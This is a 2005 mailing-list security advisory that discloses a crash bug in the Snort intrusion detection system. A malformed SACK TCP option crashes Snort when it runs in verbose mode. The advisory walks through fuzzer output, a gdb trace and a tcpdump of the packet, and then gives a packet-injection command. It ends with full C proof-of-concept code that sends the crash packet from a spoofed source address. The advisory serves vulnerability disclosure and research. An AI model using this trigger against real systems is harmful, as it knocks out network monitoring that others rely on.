Vulnerability Development mailing list archives
Snort <= 2.4.0 SACK TCP Option Error Handling
From: "A. Alejandro Hernández" <nitrous () vulnfact com>
Date: Sun, 11 Sep 2005 16:33:32 -0600
Snort <= 2.4.0 SACK TCP Option Error Handling Package: Snort 2.4.0 (And previous versions) Vendor url: http://www.snort.org Class: Error Handling Exceptional Conditions Risk: High Credits: A. Alejandro Hernández Hernández Contact: nitrous[at]vulnfact[dot]com *BACKGROUND*Snort is an open source network intrusion detection and prevention system. It is capable of performing real-time traffic analysis, alerting, blocking and packet logging on IP networks. It utilizes a combination of protocol analysis and pattern matchingin order to detect a anomalies, misuse and attacks.
*DESCRIPTION*A vulnerability found in PrintTcpOptions() function located in snort-2.4.0/src/log.c could allow an attacker to craft a malformed TCP/IP packet and make a DoS or totally crash Snort in a remote system. To test it, Snort needs to run in verbose mode (switch -v). See the Analysis section for technical details.
*VULNERABLE VERSIONS* The vulnerability was discovered and researched on the following packages: # snort 2.4.0 @ OpenBSD 3.7 GENERIC # snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" # snort 2.3.2 @ Debian Linux 3.1 "Sarge" # snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" # snort 2.3.0 @ Red Hat Linux 9 # snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" # snort 2.0.0 @ OpenBSD 3.5 GENERIC Is suspected that previous versions are also affected by this vulnerability. *DISCLOSURE TIMELINE* Flaw Discovered: 20/08/2005. Vendor Notification: 22/08/2005. Vendor Response: 23/08/2005. Date Published: 11/09/2005. *ANALYSIS* Fuzzing Snort 2.4.0 with fuzzball2 I got: =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36 127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20 DgmLen:40 DF ***A*R** Seq: 0x0 Ack: 0x4A2AC316 Win: 0x0 TcpLen: 20 0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ..............E. 0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00 .(.@@.@.<....... 0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14 ...Pr.....J*..P. 0x0030: 00 00 31 76 00 00 ..1v.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A 127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44 ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24 TCP Options (2) => Violación de segmento The process catch a SIGSEGV signal, ok, now I need to know what packet number crash Snort: root@blackb0x # snort -veX -i lo -q > DUMP.log Violación de segmento root@blackb0x # grep 127 DUMP.log | wc -l 123 At this moment I know that the packet number 123 is the evil (may change) hu! ;)... Attaching Snort to GDB: root@blackb0x # gdb -q snort Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1". (gdb) r -veX -i lo Starting program: /usr/local/bin/snort -veX -i lo ...SNIPED... 08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A 127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44 ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24 TCP Options (2) => Program received signal SIGSEGV, Segmentation fault. 0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543 1543 memcpy(tmp, p->tcp_options[i].data, 2); (gdb) print tmp $1 = "\000\000\000\000" (gdb) print p $2 = (Packet *) 0xbffff360 (gdb) print i $3 = 0 (gdb) print p->tcp_options[i] $4 = {code = 5 '\005', len = 0 '\0', data = 0x0} (gdb) print p->tcp_options[i].code $3 = 5 '\005' (gdb) x/4b p->tcp_options_data 0x824edd0: 0x05 0x02 0x00 0x00 The error is in line 1543 from log.c: root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep -C 10 1543 1533 case TCPOPT_NOP: 1534 fwrite("NOP ", 4, 1, fp); 1535 break; 1536 1537 case TCPOPT_WSCALE: 1538 fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]); 1539 break; 1540 1541 case TCPOPT_SACK: 1542 bzero((char *) tmp, 5); 1543 memcpy(tmp, p->tcp_options[i].data, 2); 1544 fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp)); 1545 bzero((char *) tmp, 5); 1546 memcpy(tmp, (p->tcp_options[i].data) + 2, 2); 1547 fprintf(fp, "%u ", EXTRACT_16BITS(tmp)); 1548 break; 1549 1550 case TCPOPT_SACKOK: 1551 fwrite("SackOK ", 7, 1, fp); 1552 break; Reading the GDB's output I found that p->tcp_options[i].code value is 5 (TCPOPT_SACK). Analyzing the Raw packet with tcpdump: #tcpdump -i lo -eXX -c 123 | tail -5 11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840 0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..,Å’O..ÿ..z.... 0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....rÇ.P.Ã�.oCñ." 0020: 6002 16d0 3caf 0000 0502 0000 `..Ã�<¯...... I think that the last 4 bytes are the evil ;) and make my own packet: root@blackb0x # printf "\x05\x02\x00\x00" > payload root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876 -o ./payload TCP Packet Injected And again, I got: root@blackb0x # snort -veX -i lo -q 08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A 33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20 DgmLen:44 ******S* Seq: 0x46FE88E2 Ack: 0x1494CF39 Win: 0x1000 TcpLen: 24 TCP Options (2) => Violación de segmento But the flaw doesn't appear to effect IDS mode in standard configurations (without -v flag): root@blackb0x # snort -c etc/snort.conf -D root@blackb0x # ps aux | grep snort root 9947 5.3 31.6 38616 34720 ? Ss 11:24 0:00 snort -c etc/snort.conf -D root 9949 0.0 0.6 3384 760 pts/1 S+ 11:24 0:00 grep snort root@blackb0x # ./snortrigger localhost -=[ Snort <= 2.4.0 Trigger p0c-=[ By nitr0us
-=[ Sending Malformed TCP/IP Packet... -=[ Sent 44 bytes to localhost -=[ Snort killed ! root@blackb0x # ps aux | grep snort root 9947 1.9 31.6 38616 34736 ? Ss 11:24 0:00 snort -c etc/snort.conf -D root 9952 0.0 0.6 3384 760 pts/2 S+ 11:24 0:00 grep snort See below for PoC code. *PROOF OF CONCEPT* /*_------------------------------------------_ ||------+ Snort <= 2.4.0 Trigger p0c +------|| ||__________________________________________|| ||--=[ nitrous [at] vulnfact [dot] com ]=--|| ||--=[ VulnFact Security Labs ]=--|| ||--=[ 21 Ago 2oo5 ]=--|| ||--=[ Mexico ]=--|| ||__________________________________________|| -__________________________________________- Snort <= 2.4.0 SACK TCP Option Error Handling Este código envia al especificado un paquete TCP/IP con 4 bytes extras correspondientes al campo TCP Options [TCP Header]. Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se esta corriendo en verbose mode (-v). Esto solo funciona testeando de una maquina a otra directamente conectadas (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde pase este paquete lo descartara por no tener una checksum valida. RFC #1072 - TCP Extensions for Long-Delay Paths 3.2- TCP SACK Option: ... Kind: 5 Length: Variable +--------+--------+--------+--------+--------+--------+ | Kind=5 | Length | Relative Origin | Block Size | +--------+--------+--------+--------+--------+--------+ Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos: 11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840 <malformed sack [len 0] ,eol> 0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..,Å’O..ÿ..z.... 0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....rÇ.P.Ã�.oCñ." 0020: 6002 16d0 3caf 0000 0502 0000 `..Ã�<¯...... Testeado en: [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;) [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge" [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.3.0 @ Red Hat Linux 9 [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey, protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog, JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)... Federico L. Bossi Bonin */ #include<stdio.h> #include<string.h> #include<unistd.h> #include<errno.h> #include<netdb.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> //#define __USE_BSD 1 /* Use BSD's ip header style */ #include<netinet/ip.h> #define __FAVOR_BSD 1 /* Use BSD's tcp header style */ #include<netinet/tcp.h> #define IPSIZE sizeof(struct ip) #define TCPSIZE sizeof(struct tcphdr) #define DEFAULT_SRC_IP "200.31.33.70" char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */ int usage(char *name) { fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name); fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP); return 0; } int main(int argc, char **argv) { char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4); char *srcip = DEFAULT_SRC_IP; int sockfd, count; int one = 1; /* setsockopt() */ struct sockaddr_in target; struct hostent *host2ip; struct ip *IP = (struct ip *) packet; struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE); if(argc < 2) return(usage(*argv)); if(argc == 3) srcip = argv[2]; if((host2ip = gethostbyname(argv[1])) == NULL){ perror("gethostbyname"); exit(-1); } if(getuid() != 0){ fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n"); exit(-1); } memset(packet, 0x00, sizeof(packet)); memset(&target, 0x00, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(64876); target.sin_addr = *((struct in_addr *)host2ip->h_addr); /*** BUILDING MALFORMED PACKET ***/ IP->ip_hl = 0x05; IP->ip_v = 0x04; IP->ip_tos = 0x00; IP->ip_len = IPSIZE + TCPSIZE + 4; IP->ip_id = 0x00; IP->ip_off = 0x00; IP->ip_ttl = 0xff; IP->ip_p = IPPROTO_TCP; IP->ip_sum = 0x00; IP->ip_src.s_addr = inet_addr(srcip); IP->ip_dst.s_addr = target.sin_addr.s_addr; TCP->th_sport = htons(31337); TCP->th_dport = target.sin_port; TCP->th_seq = 0x00; TCP->th_ack = 0x00; TCP->th_x2 = 0x00; TCP->th_off = 0x06; TCP->th_flags = 0x00; /* NO Syn ;) */ TCP->th_win = htons(0xffff); TCP->th_sum = 0x00; TCP->th_urp = 0x00; memcpy(packet + IPSIZE + TCPSIZE, trigger, 4); /*** END ***/ if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){ perror("socket"); exit(-1); } if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){ perror("setsockopt"); exit(-1); } printf("-=[ Snort <= 2.4.0 Trigger p0c\n"); printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n"); printf("-=[ Sending Malformed TCP/IP Packet...\n"); if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){ perror("sendto"); close(sockfd); exit(-1); } printf("-=[ Sent %d bytes to %s\n", count, argv[1]); printf("-=[ Snort killed !\n"); close(sockfd); return 0; } *VENDOR RESPONSE/WORKAROUND* Still working to release Snort 2.4.1. *RELATED LINKS* This Security Advisory http://www.vulnfact.com/advisories/snort_adv.html Proof of Concept code http://www.vulnfact.com/exploits/snortrigger.c Fuzzball2 TCP/IP Options Fuzzerhttp://www.nologin.org/main.pl?action=codeView&codeId=54& <http://www.nologin.org/main.pl?action=codeView&codeId=54&>
RFC #1072 - TCP Extensions for Long-Delay Paths ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt TCP Option Numbers http://www.iana.org/assignments/tcp-parameters
Current thread:
- Snort <= 2.4.0 SACK TCP Option Error Handling A. Alejandro Hernández (Sep 12)